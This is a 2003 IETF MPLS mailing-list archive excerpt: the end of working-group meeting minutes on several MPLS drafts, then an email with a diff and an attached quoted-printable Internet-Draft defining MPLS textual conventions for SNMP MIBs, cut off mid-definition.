focus on LDP MIBs,
- pm requirements
- fm requirements
Information that would help them engineer resource usage etc. Help with
trouble shooting. Get good linkages with I/F MIB.

Propose meeting requirements be delegated to the MIB authors.

Tom Nadeau: Bunch of points (already discussed on the list). Want to hear
from other operators. IMHO requires protocol changes so needs consensus.
Some points were added to current MIB. Vast majority not addressed in the
absence of other operator feedback.

Loa: These are going into mailing list and has no effect on current MIBs. 
we have to see imapct on future MIBs.

Draft-allan-mpls-a-bit-00
-------------------------
Lots of impedance. (Mainly Kireeti, Rahul and Yakov). Centered around MPLS
PID in general.

Discussion points:
- Is reserved labels and ECMP an issue (to be taken to the list)?
- Is the PW PID applicable to MPLS?
- Effect on whats out there now? (George Swallow)
- Backward copatability? (Thomas Nadeau)
- What processing power do I need? (G.Swallow)
- Where are the changes suggested? In PWE3 or MPLS? (Loa)
- Is IP ok? (G.Swallow) Yes (D. Allan)
- Will rename the MPLS PID to PWE3 PID (Stewart Bryant)

Dave to post a problem statement to the list for discussion.

Draft-swallow-lsr-self-test-00/George Swallow
---------------------------------------------
George walked through the ECMP example of how it gets combinatorial.
Outlined LSR self test as a means of an LSR instigating tests of its own
forwarding table. An extension of LSP Ping.

Adrian: Applicability to RSVP-TE (draft focuses on LDP)?
G.Swallow: yes.

Dave Allan: Concern with requirement to generate a ping transaction per ILM
entry in each LSR.
George: You're making assumptions as to the frequency.
Dave: no. 
Jun Kyun Choi: end to end but no hierarchy?
G.Swallow: Hop by Hop.

Tom Nadeau: Recycles existing forwarding behavior. Already optimized on my
cards.
Loa: Need to go on. Show of hands for making this a WG document. Sufficient
interest to take this to the list.

Multicast Seisho Yasukawa & Rahul Aggarwal
------------------------------------------
Outline of deltas between IP multicast and expectations that can only be met
with addition of QoS.

Overview of joint requirements draft. A short history of this multicast work
was presented.

Establishing P2MP MPLS TE LSPs draft-raggarwa-mpls-p2mp-te-00
Overview of the proposed mechanisms for setup of P2MP LSPs.

- P2MP session object
- Rpe discovery (application dependent)
- Make before break...
- Some FRR applicability
Alex: IPR notification in the draft needs to be sent on to IETF secretary.

"Other proposal" (Allan Kullberg)
--------------
Draft summary presented
Goal is to reconcile approaches, provide a common requirements and problem
statement draft. Targeted for next IETF.

Need WG to confirm inclusion in charter and determine next steps.

Loa: Like the time schedule. Need a short problem statement and milestones
to take to the IESG.
Rahul: I'll send a mail to the mailing list.
Loa: I'll add milestone to charter.

Dimitri: Do you want to see the spectrum of solutions discussed?
George: only want crisp requirements, not a framework document.

RRO Node-ID Subobject; draft ietf mpls nodeid subobject/ JP Vasseur
-------------------------------------------------------------------
Quick overview.

Ongoing implementations and several planned deployments, proposal to move 
the I-D to last call.

George: take it to the list.

Dimitri: Is it really necessary to use an RRO subobject
flag to implement this feature since this i-d takes the use of the
RRO subobject flag up to all but two bits used ? 

Draft vasseur-mpls-loose-path-reopt-02/JP Vasseur
-------------------------------------------------
Conclusion, draft proposes mechanisms that are identified as required in the
TEWG inter-AS requirements document.

George: How to proceed simply needs a discussion between Alex, Kireeti
and charis.

LDP MTU Discovery/Kireeti
-------------------------
- provided some new definitions (hop MTU)
- egress MTU is broken
- transit node decides what downstream MTU is.
- Handling U/F when not supported.
- Revise according to last round of comments, post to last call.

Luca: Please make sure you agree on what MTU is. DO not want more arguments
between Cisco and Juniper.
Kireeti: Definition is in the draft. Needs to be compatible with RSVP.
Please read the definition.

LSP-PING
--------
I've also posted a new version of LSP PING, please comment, if we get no
comments I'll go to last call. (George indicated some comments, short issues
list).

Draft-ietf-mpls-LSP-query-09/Dave Allan
---------------------------------------
Overview of changes as a result of IESG review, including changes (query
payload TLV) that necessitate a WG last call.

George: We'll post it to the list.

Alex: Implementation status?
Dave: We've done some prototyping, but not of the new TLV.


WG Status:/Loa
--------------
We did a start of re-chartering the working group after Atlanta.
Coincided with the discussion/decission on splitting the
Sub-IP Area. Since the charter criteria are (marginally)
different between areas it had to wait. Will restart the process
now.

Meeting concluded.
--------------090707000200050705020803--



From owner-mpls@UU.NET  Mon Oct 20 10:33:30 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28762
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 10:33:28 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplfu14742
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 14:33:35 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplfu14431;
	Mon, 20 Oct 2003 14:33:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplft02835
	for mpls-outgoing; Mon, 20 Oct 2003 14:19:05 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplft02828
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 14:19:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplfs23101
	for <mpls@uu.net>; Mon, 20 Oct 2003 14:12:08 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplfs08624
	for <mpls@uu.net>; Mon, 20 Oct 2003 14:12:07 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQplfs08601
	for <mpls@uu.net>; Mon, 20 Oct 2003 14:12:06 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9KEC1FH012295
	for <mpls@uu.net>; Mon, 20 Oct 2003 10:12:01 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADH36683;
	Mon, 20 Oct 2003 10:12:00 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9KEBxE06320 for mpls@uu.net; Mon, 20 Oct 2003 10:11:59 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkuq14395
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 17 Oct 2003 14:02:54 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkup10299
	for <mpls@uu.net>; Fri, 17 Oct 2003 13:56:41 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkup19756
	for <mpls@uu.net>; Fri, 17 Oct 2003 13:56:40 GMT
Received: from avsmail.artel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [65.89.227.228])
	id QQpkup19715
	for <mpls@uu.net>; Fri, 17 Oct 2003 13:56:40 GMT
Received: by AVSMAIL with Internet Mail Service (5.5.2653.19)
	id <46CSS5HD>; Fri, 17 Oct 2003 09:55:44 -0400
Message-ID: <E68EC05AA6D61B459EB6AB821AA2D6FCF3651A@AVSMAIL>
From: Joan Cucchiara x302 <jcucchiara@Artel.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Cc: arunv@force10networks.com, loa@pi.se,
        "'jcucchiara@mindspring.com'"
	 <jcucchiara@mindspring.com>,
        Joan Cucchiara x302 <jcucchiara@Artel.com>, zinin@psg.com,
        tnadeau@cisco.com, kireeti@juniper.net, bwijnen@lucent.com,
        swallow@cisco.com, hans@ipunplugged.com, cheenu@alumni.princeton.edu,
        "'adrian@olddog.co.uk'" <adrian@olddog.co.uk>
Subject: Minor Update to the MPLS-TC-STD-MIB, draft-ietf-mpls-tc-mib-09b.t
	xt  is attached.
Date: Fri, 17 Oct 2003 09:55:39 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C394B6.58F732E0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C394B6.58F732E0
Content-Type: text/plain;
	charset="iso-8859-1"


Hi Folks,

Co-authors have discussed the IESG comments 
off-line a bit, and this is how we answered them.

DESCRIPTION Clauses for 
TeHopAddressType and TeHopAddress TCs have been updated.


Diff between version 9 and 9b for the TeHopAddressType:
=======================================================
816c816
<                  lspid(5)     An LSP ID for CR-LDP Tunnels
---
>                  lspid(5)     An LSP ID for TE Tunnels
836,838c836,839
<                  if an attempt to change a TeHopAddressType object
<                  would, for example, lead to an undefined
<                  TeHopAddress value.  In particular,
---
>                  if an attempt to change a TeHopAddressType
>                  object would, for example, lead to an
>                  undefined TeHopAddress value that is
>                  not defined herein.  In particular,
840,842c841,842
<                  must be changed together if the address type
<                  changes (e.g. from ipv6(2) to ipv4(1))."
<              REFERENCE
---
>                  must be changed together if the address
>                  type changes (e.g. from ipv6(2) to ipv4(1))."
845c845

Diff between version 9 and 9b for the TeHopAddress:
=====================================================
869c870,886
<                 "Denotes a generic Tunnel hop address.
---
>                 "Denotes a generic Tunnel hop address,
>                  that is, the address of a node which
>                  an LSP traverses, including the source
>                  and destination nodes.  An address may be
>                  very concrete, for example, an IPv4 host
>                  address (i.e., with prefix length 32);
>                  if this IPv4 address is an interface
>                  address, then that particular interface
>                  must be traversed.  An address may also
>                  specify an 'abstract node', for example,
>                  an IPv4 address with prefix length
>                  less than 32, in which case, the LSP
>                  can traverse any node whose address
>                  falls in that range.  An address may
>                  also specify an Autonomous System (AS),
>                  in which  case the LSP can traverse any
>                  node that falls within that AS.

Please email comments to the list for these changes only.

   thanks,
    Joan




------_=_NextPart_000_01C394B6.58F732E0
Content-Type: text/plain;
	name="draft-ietf-mpls-tc-mib-09b.txt"
Content-Disposition: attachment;
	filename="draft-ietf-mpls-tc-mib-09b.txt"
Content-Transfer-Encoding: quoted-printable


Network Working Group                                          T. =
Nadeau
Internet-Draft                                       Cisco Systems, =
Inc.
Expires: April 2004                                         J. =
Cucchiara
                                                                   =
Artel
                                                               =
(Editors)


                                                            October =
2003

       Definitions of Textual Conventions for Multiprotocol Label
                      Switching (MPLS) Management

                    <draft-ietf-mpls-tc-mib-09b.txt>

Status of this Memo

   This document is an Internet-Draft and is in full conformance with
   all provisions of Section 10 of RFC 2026.  Internet-Drafts are
   working documents of the Internet Engineering Task Force (IETF), its
   areas, and its working groups.  Note that other groups may also
   distribute working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six =
months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as "work in progress".

   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt

   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html

   Distribution of this document is unlimited. Please send comments to
   the Multiprotocol Label Switching (mpls) Working Group, mpls@uu.net.

Copyright Notice

   Copyright (C) The Internet Society (2003).  All Rights Reserved.

Abstract

   This memo defines a Management Information Base (MIB) module which
   contains Textual Conventions to represent commonly used =
Mulitprotocol
   Label Switching (MPLS) management information. The intent is that
   these TEXTUAL CONVENTIONS (TCs) will be imported and used in MPLS


Expires April 2004                                              [Page =
1]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


   related MIB modules that would otherwise define their own
   representations.














































Expires April 2004                                              [Page =
2]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


   Table of Contents

   1 Introduction .................................................    =
4
   2 The Internet-Standard Management Framework ...................    =
4
   3 MPLS Textual Conventions MIB Definitions .....................    =
4
   4 Normative References .........................................   =
19
   5 Informative References .......................................   =
20
   6 Security Considerations ......................................   =
20
   7 IANA Considerations ..........................................   =
20
   8 Contributors .................................................   =
21
   9 Acknowledgements .............................................   =
21
   10 Intellectual Property Notice ................................   =
22
   11 Authors' Addresses ..........................................   =
22
   12 Full Copyright Statement ....................................   =
23


































Expires April 2004                                              [Page =
3]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


1.  Introduction

   This document defines a MIB module which contains Textual =
Conventions
   for Multi-Protocol Label Switching (MPLS) networks.  These Textual
   Conventions should be imported by MIB modules which manage MPLS
   networks.

   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
   document are to be interpreted as described in RFC 2119 [RFC2119].

   For an introduction to the concepts of MPLS, see [RFC3031].


2.  The Internet-Standard Management Framework

   For a detailed overview of the documents that describe the current
   Internet-Standard Management Framework, please refer to section 7 of
   RFC 3410 [RFC3410].

   Managed objects are accessed via a virtual information store, termed
   the Management Information Base or MIB.  MIB objects are generally
   accessed through the Simple Network Management Protocol (SNMP).
   Objects in the MIB are defined using the mechanisms defined in the
   Structure of Management Information (SMI).  This memo specifies a =
MIB
   module that is compliant to the SMIv2, which is described in STD 58,
   RFC 2578 [RFC2578], STD 58, RFC 2579 [RFC2579] and STD 58, RFC 2580
   [RFC2580].


3.  MPLS Textual Conventions MIB Definitions

     MPLS-TC-STD-MIB DEFINITIONS ::=3D BEGIN

          IMPORTS

             MODULE-IDENTITY, Unsigned32, Integer32, transmission
                FROM SNMPv2-SMI

             TEXTUAL-CONVENTION
                FROM SNMPv2-TC;

          mplsTCStdMIB MODULE-IDENTITY
             LAST-UPDATED "200310151200Z" -- 15 October 2003 12:00:00 =
GMT
             ORGANIZATION
                "IETF Multiprotocol Label Switching (MPLS) Working


Expires April 2004                                              [Page =
4]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                 Group."
             CONTACT-INFO
                  "        Thomas D. Nadeau
                           Cisco Systems, Inc.
                           tnadeau@cisco.com

                           Joan Cucchiara
                           Artel
                           jcucchiara@artel.com

                           Cheenu Srinivasan
                           Bloomberg L.P.
                           cheenu@bloomberg.net

                           Arun Viswanathan
                           Force10 Networks, Inc.
                           arunv@force10networks.com

                           Hans Sjostrand
                           ipUnplugged
                           hans@ipunplugged.com

                           Kireeti Kompella
                           Juniper Networks
                           kireeti@juniper.net

                Email comments to the MPLS WG Mailing List at
                mpls@uu.net."
             DESCRIPTION
                "Copyright (C) The Internet Society (2003).  This
                 version of this MIB module is part of RFCXXX; see
                 the RFC itself for full legal notices.

                 This MIB module defines Textual Conventions
                 for concepts used in Multi-Protocol Label
                 Switching (MPLS) networks."

             REVISION "200310151200Z" -- 15 October 2003 12:00:00 GMT
             DESCRIPTION
                "Initial version published as part of RFC XXXX."

              -- Please see the IANA Considerations Section.
              -- The requested mplsStdMIB subId is 1, e.g.
              --   ::=3D { mplsStdMIB 1 }

              ::=3D { mplsStdMIB XXX } -- to be assigned by IANA


Expires April 2004                                              [Page =
5]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


          mplsStdMIB OBJECT IDENTIFIER

          -- This object identifier needs to be assigned by IANA.
          -- Since mpls has been assigned an ifType of 166 we recommend
          -- that this OID be 166 as well, e.g.
          --   ::=3D { transmission 166 }

          ::=3D { transmission XXX }  -- to be assigned by IANA



          MplsAtmVcIdentifier ::=3D TEXTUAL-CONVENTION
             DISPLAY-HINT "d"
             STATUS  current
             DESCRIPTION
                "A Label Switching Router (LSR) that
                 creates LDP sessions on ATM interfaces
                 uses the VCI or VPI/VCI field to hold the
                 LDP Label.

                 VCI values MUST NOT be in the 0-31 range.
                 The values 0 to 31 are reserved for other uses
                 by the ITU and ATM Forum.  The value
                 of 32 can only be used for the Control VC,
                 although values greater than 32 could be
                 configured for the Control VC.

                 If a value from 0 to 31 is used for a VCI
                 the management entity controlling the LDP
                 subsystem should reject this with an
                 inconsistentValue error.  Also, if
                 the value of 32 is used for a VC which is
                 NOT the Control VC, this should
                 result in an inconsistentValue error."
             REFERENCE
                "MPLS using LDP and ATM VC Switching, RFC3035."
             SYNTAX  Integer32 (32..65535)

          MplsBitRate ::=3D TEXTUAL-CONVENTION
             DISPLAY-HINT "d"
             STATUS      current
             DESCRIPTION
                "If the value of this object is greater than zero,
                 then this represents the bandwidth of this MPLS
                 interface (or Label Switched Path) in units of
                 '1,000 bits per second'.


Expires April 2004                                              [Page =
6]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                 The value, when greater than zero, represents the
                 bandwidth of this MPLS interface (rounded to the
                 nearest 1,000) in units of 1,000 bits per second.
                 If the bandwidth of the MPLS interface is between
                 ((n * 1000) - 500) and ((n * 1000) + 499), the value
                 of this object is n, such that n > 0.

                 If the value of this object is 0 (zero), this
                 means that the traffic over this MPLS interface is
                 considered to be best effort."
             SYNTAX  Unsigned32 (0|1..4294967295)

          MplsBurstSize ::=3D TEXTUAL-CONVENTION
             DISPLAY-HINT "d"
             STATUS      current
             DESCRIPTION
                "The number of octets of MPLS data that the stream
                 may send back-to-back without concern for policing.
                 The value of zero indicates that an implementation
                 does not support Burst Size."
             SYNTAX  Unsigned32 (0..4294967295)

          MplsExtendedTunnelId ::=3D TEXTUAL-CONVENTION
             STATUS        current
             DESCRIPTION
                "A unique identifier for an MPLS Tunnel. This may
                 represent an IPv4 address of the ingress or egress
                 LSR for the tunnel. This value is derived from the
                 Extended Tunnel Id in RSVP or the Ingress Router ID
                 for CR-LDP."
             REFERENCE
                "RSVP-TE: Extensions to RSVP for LSP Tunnels,
                 RFC 3209.

                 Constraint-Based LSP Setup using LDP, RFC 3212."
             SYNTAX  Unsigned32(0..4294967295)


          MplsLabel ::=3D TEXTUAL-CONVENTION
             STATUS        current
             DESCRIPTION

              -- RFC-Editor, pls fill in RFCxxxx as assigned
              -- to draft-ietf-ccamp-gmpls-architecture-07.txt."

                "This value represents an MPLS label as defined in


Expires April 2004                                              [Page =
7]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                 (RFC3031),  (RFC3032), (RFC3034), (RFC3035) and
                 (RFCxxxx).

                 The label contents are specific to the label being
                 represented, such as:

                 * The label carried in an MPLS shim header
                   (for LDP this is the Generic Label) is a 20-bit
                   number represented by 4 octets. Bits 0-19 contain
                   a label or a reserved label value.  Bits 20-31
                   MUST be zero.

                   The following is quoted directly from (RFC3032).
                   There are several reserved label values:

                      i. A value of 0 represents the
                         'IPv4 Explicit NULL Label'. This label
                         value is only legal at the bottom of the
                         label stack.  It indicates that the label
                         stack must be popped, and the forwarding
                         of the packet must then be based on the
                         IPv4 header.

                     ii. A value of 1 represents the
                         'Router Alert Label'.  This label value is
                         legal anywhere in the label stack except at
                         the bottom.  When a received packet
                         contains this label value at the top of
                         the label stack, it is delivered to a
                         local software module for processing.
                         The actual forwarding of the packet
                         is determined by the label beneath it
                         in the stack.  However, if the packet is
                         forwarded further, the Router Alert Label
                         should be pushed back onto the label stack
                         before forwarding.  The use of this label
                         is analogous to the use of the
                         'Router Alert Option' in IP packets
                         (RFC2113). Since this label
                         cannot occur at the bottom of the stack,
                         it is not associated with a
                         particular network layer protocol.

                    iii. A value of 2 represents the
                         'IPv6 Explicit NULL Label'. This label
                         value is only legal at the bottom of the


Expires April 2004                                              [Page =
8]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                         label stack.  It indicates that the label
                         stack must be popped, and the forwarding
                         of the packet must then be based on the
                         IPv6 header.

                     iv. A value of 3 represents the
                         'Implicit NULL Label'.
                         This is a label that an LSR may assign and
                         distribute, but which never actually
                         appears in the encapsulation.  When an
                         LSR would otherwise replace the label
                         at the top of the stack with a new label,
                         but the new label is 'Implicit NULL',
                         the LSR will pop the stack instead of
                         doing the replacement.  Although
                         this value may never appear in the
                         encapsulation, it needs to be specified in
                         the Label Distribution Protocol, so a value
                         is reserved.

                      v. Values 4-15 are reserved.

                 * The frame relay label can be either 10-bits or
                   23-bits depending on the DLCI field size and the
                   upper 22-bits or upper 9-bits must be zero,
                   respectively.

                 * For an ATM label the lower 16-bits represents the
                   VCI, the next 12-bits represents the VPI and the
                   remaining bits MUST be zero.

                 * The Generalized-MPLS (GMPLS) label contains a
                   value greater than 2^24-1 and used in GMPLS
                   as defined in (RFCxxxx)."
                -- RFC-Editor, pls fill in RFCxxxx as assigned
                -- to draft-ietf-ccamp-gmpls-architecture-07.txt."
             REFERENCE
                "Multiprotocol Label Switching Architecture,
                 RFC3031.

                 MPLS Label Stack Encoding, RFC3032.

                 Use of Label Switching on Frame Relay Networks,
                 RFC3034.

                 MPLS using LDP and ATM VC Switching, RFC3035.


Expires April 2004                                              [Page =
9]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                 Generalized Multi-Protocol Label Switching
                 (GMPLS) Architecture, RFCxxxx."
              -- RFC-Editor, pls fill in RFCxxxx as assigned
              -- to draft-ietf-ccamp-gmpls-architecture-07.txt
             SYNTAX  Unsigned32 (0..4294967295)

          MplsLabelDistributionMethod ::=3D TEXTUAL-CONVENTION
             STATUS  current
             DESCRIPTION
                "The label distribution method which is also called
                 the label advertisement mode (RFC3036).
                 Each interface on an LSR is configured to operate
                 in either Downstream Unsolicited or Downstream
                 on Demand."
             REFERENCE
                "Multiprotocol Label Switching Architecture,
                 RFC3031.

                 LDP Specification, RFC3036, Section 2.6.3."
             SYNTAX INTEGER {
                        downstreamOnDemand(1),
                        downstreamUnsolicited(2)
                    }

          MplsLdpIdentifier ::=3D TEXTUAL-CONVENTION
             DISPLAY-HINT "1d.1d.1d.1d:2d"
             STATUS      current
             DESCRIPTION
                "The LDP identifier is a six octet
                 quantity which is used to identify a
                 Label Switching Router (LSR) label space.

                 The first four octets identify the LSR and
                 must be a globally unique value, such as a
                 32-bit router ID assigned to the LSR, and the
                 last two octets identify a specific label
                 space within the LSR."
             SYNTAX  OCTET STRING (SIZE (6))

          MplsLsrIdentifier ::=3D TEXTUAL-CONVENTION
             STATUS      current
             DESCRIPTION
                "The Label Switching Router (LSR) identifier is the
                 first 4 bytes of the Label Distribution Protocol
                 (LDP) identifier."
             SYNTAX  OCTET STRING (SIZE (4))


Expires April 2004                                             [Page =
10]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


          MplsLdpLabelType ::=3D TEXTUAL-CONVENTION
             STATUS      current
             DESCRIPTION
                "The Layer 2 label types which are defined for MPLS
                 LDP and/or CR-LDP are generic(1), atm(2), or
                 frameRelay(3)."
             SYNTAX  INTEGER {
                       generic(1),
                       atm(2),
                       frameRelay(3)
                   }

          MplsLSPID ::=3D TEXTUAL-CONVENTION
             STATUS        current
             DESCRIPTION
                "A unique identifier within an MPLS network that is
                 assigned to each LSP. This is assigned at the head
                 end of the LSP and can be used by all LSRs
                 to identify this LSP.  This value is piggybacked by
                 the signaling protocol when this LSP is signaled
                 within the network. This identifier can then be
                 used at each LSR to identify which labels are
                 being swapped to other labels for this LSP.  This
                 object  can also be used to disambiguate LSPs that
                 share the same RSVP sessions between the same
                 source and destination.

                 For LSPs established using CR-LDP, the LSPID is
                 composed of the ingress LSR Router ID (or any of
                 its own IPv4 addresses) and a locally unique
                 CR-LSP ID to that LSR. The first two bytes carry
                 the CR-LSPID, and the remaining 4 bytes carry
                 the Router ID. The LSPID is useful in network
                 management, in CR-LSP repair, and in using
                 an already established CR-LSP as a hop in
                 an ER-TLV.

                   For LSPs signaled using RSVP-TE, the LSP ID is
                   defined as a 16-bit (2 byte) identifier used
                   in the SENDER_TEMPLATE and the FILTER_SPEC
                   that can be changed to allow a sender to
                   share resources with itself. The length of this
                   object should only be 2 or 6 bytes. If the length
                   of this octet string is 2 bytes, then it must
                   identify an RSVP-TE LSPID, or it is 6 bytes,
                   it must contain a CR-LDP LSPID."


Expires April 2004                                             [Page =
11]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


             REFERENCE
                "RSVP-TE:  Extensions to RSVP for LSP Tunnels,
                 RFC3209.

                 Constraint-Based LSP Setup using LDP,
                 RFC3212."
             SYNTAX  OCTET STRING (SIZE (2|6))

          MplsLspType ::=3D TEXTUAL-CONVENTION
             STATUS  current
             DESCRIPTION
                "Types of Label Switch Paths (LSPs)
                 on a Label Switching Router (LSR) or a
                 Label Edge Router (LER) are:

                    unknown(1)         -- if the LSP is not known
                                          to be one of the following.

                    terminatingLsp(2)  -- if the LSP terminates
                                          on the LSR/LER, then this
                                          is an egressing LSP
                                          which ends on the LSR/LER,

                    originatingLsp(3)  -- if the LSP originates
                                          from this LSR/LER, then
                                          this is an ingressing LSP
                                          which is the head-end of
                                          the LSP,

                 crossConnectingLsp(4) -- if the LSP ingresses
                                          and egresses on the LSR,
                                          then it is
                                          cross-connecting on that
                                          LSR."
             SYNTAX INTEGER {
                        unknown(1),
                        terminatingLsp(2),
                        originatingLsp(3),
                        crossConnectingLsp(4)
                    }


          MplsOwner ::=3D TEXTUAL-CONVENTION
             STATUS      current
             DESCRIPTION
                "This object indicates the local network


Expires April 2004                                             [Page =
12]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                 management subsystem that originally created
                 the object(s) in question.  The values of
                 this enumeration are defined as follows:

                 unknown(1) - the local network management
                 subsystem cannot discern which
                 component created the object.

                 other(2) - the local network management
                 subsystem is able to discern which component
                 created the object, but the component is not
                 listed within the following choices,
                 e.g. command line interface (cli).

                 snmp(3) - The Simple Network Management Protocol
                 was used to configure this object initially.

                 ldp(4) - The Label Distribution Protocol was
                 used to configure this object initially.

                 crldp(5) - The Constraint-Based Label Distribution
                 Protocol was used to configure this object
                 initially.

                 rsvpTe(6) - The Resource Reservation Protocol was
                 used to configure this object initially.

                 policyAgent(7) - A policy agent (perhaps in
                 combination with one of the above protocols) was
                 used to configure this object initially.

                 An object created by any of the above choices
                 MAY be modified or destroyed by the same or a
                 different choice."
             SYNTAX  INTEGER {
                       unknown(1),
                       other(2),
                       snmp(3),
                       ldp(4),
                       crldp(5),
                       rsvpTe(6),
                       policyAgent(7)
                   }

          MplsPathIndexOrZero ::=3D TEXTUAL-CONVENTION
             STATUS current


Expires April 2004                                             [Page =
13]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


             DESCRIPTION
                "A unique identifier used to identify a specific
                 path used by a tunnel.  A value of 0 (zero) means
                 that no path is in use."
             SYNTAX  Unsigned32(0..4294967295)

          MplsPathIndex ::=3D TEXTUAL-CONVENTION
             STATUS        current
             DESCRIPTION
                "A unique value to index (by Path number) an
                 entry in a table."
             SYNTAX  Unsigned32(1..4294967295)


          MplsRetentionMode ::=3D TEXTUAL-CONVENTION
             STATUS  current
             DESCRIPTION
                "The label retention mode which specifies whether
                 an LSR maintains a label binding for a FEC
                 learned from a neighbor that is not its next hop
                 for the FEC.

                 If the value is conservative(1) then advertised
                 label mappings are retained only if they will be
                 used to forward packets, i.e. if label came from
                 a valid next hop.

                 If the value is liberal(2) then all advertised
                 label mappings are retained whether they are from
                 a valid next hop or not."
             REFERENCE
                "Multiprotocol Label Switching Architecture,
                 RFC3031.

                 LDP Specification, RFC3036, Section 2.6.2."
             SYNTAX INTEGER {
                        conservative(1),
                        liberal(2)
                    }


          MplsTunnelAffinity ::=3D TEXTUAL-CONVENTION
             STATUS        current
             DESCRIPTION
                "Describes the configured 32-bit Include-any,
                 include-all, or exclude-all constraint for


Expires April 2004                                             [Page =
14]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                 constraint-based link selection."
             REFERENCE
                "RSVP-TE:  Extensions to RSVP for LSP Tunnels,
                 RFC3209, Section 4.7.4."
             SYNTAX  Unsigned32(0..4294967295)

          MplsTunnelIndex ::=3D TEXTUAL-CONVENTION
             STATUS        current
             DESCRIPTION
                "A unique index into mplsTunnelTable.
                 For tunnels signaled using RSVP, this value
                 should correspond to the RSVP destination
                 port used for the RSVP-TE session."
             SYNTAX  Unsigned32 (0..65535)

          MplsTunnelInstanceIndex ::=3D TEXTUAL-CONVENTION
             STATUS        current
             DESCRIPTION
                "The tunnel entry with instance index 0
                 should refer to the configured tunnel
                 interface (if one exists).

                 Values greater than 0, but less than or
                 equal to 65535, should be used to indicate
                 signaled (or backup) tunnel LSP instances.
                 For tunnel LSPs signaled using RSVP,
                 this value should correspond to the
                 RSVP source port used for the RSVP-TE
                 session.

                 Values greater than 65535 apply to FRR
                 detour instances."
             SYNTAX  Unsigned32(0|1..65535|65536..4294967295)


          TeHopAddressType ::=3D TEXTUAL-CONVENTION
             STATUS     current
             DESCRIPTION
                "A value that represents a type of address a
                 Traffic Engineered (TE) Tunnel hop.

                 unknown(0)   An unknown address type.  This value
                              MUST be used if the value of the
                              corresponding TeHopAddress object is a
                              zero-length string.  It may also be
                              used to indicate a TeHopAddress which


Expires April 2004                                             [Page =
15]
=0C
INTERNET-DRAFT                 MPLS TC MIB                  October =
2003


                              is not in one of the formats defined
                              below.

                 ipv4(1)      An IPv4 network address as defined by
                              the InetAddressIPv4 TEXTUAL-CONVENTION
                              (RFC3291).

                 ipv6(2)      A global IPv6 address as defined by
                              the InetAddressIPv6 TEXTUAL-CONVENTION
                              (RFC3291).

                 asnumber(3)  An Autonomous System (AS) number as
